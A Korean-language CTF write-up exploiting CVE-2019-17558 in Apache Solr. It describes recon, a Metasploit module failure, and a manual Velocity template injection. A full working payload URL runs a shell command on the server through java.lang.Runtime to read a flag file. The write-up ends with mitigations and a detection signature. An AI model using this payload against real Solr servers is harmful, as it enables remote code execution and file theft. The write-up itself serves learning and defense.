
Apache Solr에서 CVE-2019-17558 악용을 기록한 CTF 라이트업으로, 정찰, Metasploit의 한계, 수동 Velocity 템플릿 인젝션, 플래그 획득, 그리고 대응 방안을 다룹니다.
Apache Solr에서 Velocity Template Injection 취약점을 실제로 탐구하며, 자동화 도구(Metasploit)의 오류에서 성공적인 수동 익스플로잇으로 발전시킨 내용입니다.
이 라이트업은 도구 오류의 진단과 수동 익스플로잇으로의 전환(pivot)에 초점을 맞춰, 실습의 전체 추론 과정을 문서화합니다.
| 항목 | 설명 |
|---|---|
| 대상 | 8983 포트에서 Apache Solr를 실행 중인 Linux 서버 |
| 목표 | 민감한 파일(/home/favorite_book.txt)의 내용 읽기 |
| 취약점 | CVE-2019-17558 (Velocity Response Writer를 통한 RCE) |
초기 단계에서는 대상 호스트에서 활성 서비스를 식별했습니다.
nmap -sV -p- <TARGET_IP>
결과:
novacollection을 확인했습니다.관리자 패널에 접근하여 Solr 버전이 Velocity Template Injection에 취약하다는 것을 확인했습니다.
이 결함은 공격자가 params.resource.loader.enabled 설정을 true로 변경할 수 있을 때 발생하며, 이를 통해 사용자 정의 Velocity 템플릿을 사용할 수 있고, 나아가 서버에서 임의의 Java 코드를 실행할 수 있게 됩니다.
처음에는 exploit/multi/http/solr_velocity_rce 모듈을 사용했습니다.
익스플로잇은 Solr의 설정을 성공적으로 변경했습니다.
[+] params.resource.loader.enabled is true for core 'novacollection'
그러나 최종 페이로드 주입 단계는 Ruby 실행 오류로 실패했습니다.
NoMethodError: undefined method 'body' for nil:NilClass
이는 환경이 취약하고 이미 준비된 상태였음에도 불구하고, 도구가 공격을 마무리하기 위해 서버의 응답을 처리하지 못했음을 의미합니다. 대상이 안전한 것이 아니라 모듈의 전달 방식만 조정하면 되었던 것입니다.
Metasploit이 이미 Velocity Writer를 활성화했으므로, HTTP GET 요청을 통해 수동으로 주입을 수행하여 스크립트 오류를 우회했습니다. Velocity 템플릿은 java.lang.Runtime을 인스턴스화하고 대상 파일을 읽는 명령을 실행하도록 구성되었습니다.
http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
서버에서 실제로 실행된 명령:
cat /home/favorite_book.txt
주입에 성공했고, 파일 내용이 HTTP 응답 본문에 직접 반환되어 브라우저에 렌더링됨으로써 플래그를 획득할 수 있었습니다.
NoMethodError 오류는 대상이 안전하다는 뜻이 아니라 전달 방식만 조정이 필요하다는 의미였습니다.params.resource.loader.enabled가 비활성화된 상태로 유지되도록 합니다.wt=velocity 매개변수를 포함한 select 엔드포인트로의 요청을 모니터링하면 SIEM에서 탐지 서명으로 유용합니다.이 저장소는 교육 목적과 통제된 환경(CTF)에서의 학습 기록을 위해 작성되었습니다. 명시적 허가 없이 이러한 기법을 시스템에 사용하지 마십시오.